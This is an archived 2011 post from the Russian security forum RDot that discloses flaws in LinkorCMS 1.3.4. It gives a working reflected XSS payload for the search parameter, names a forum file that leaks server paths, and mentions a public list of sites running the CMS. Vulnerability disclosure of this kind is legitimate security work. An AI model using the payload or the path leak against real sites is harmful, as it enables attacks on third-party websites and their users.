RDot

RDot (https://rdot.org/forum/index.php)
-   Сценарии/CMF/СMS (https://rdot.org/forum/forumdisplay.php?f=15)
-   -   LinkorCMS (https://rdot.org/forum/showthread.php?t=1195)

Krist 03.02.2011 20:26

LinkorCMS
 
LinkorCMS - linkorcms.ru
Текущая версия: 1.3.4


Пассивная XSS
Код:

index.php?name=search&op=search&searchstr="><script>alert(1)</script><a href=
в конце <a href потому что дальше идут " и другой мусор - все спрячеться в тяг <a


Раскрытие путей

Код:

modules/forum/functions/showforum.php
это один из немногих файлов, который не содержит проверки
PHP код:

if(!defined('VALID_RUN')){
    
header("HTTP/1.1 404 Not Found");
    exit;


+ используется не определенная переменная.

На форуме офсайте есть список адресов , где установлена данная cms
На одном сайте написано что раньше было много багов у этой cms а сейчас дела наладились.


Часовой пояс GMT +3, время: 20:47.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot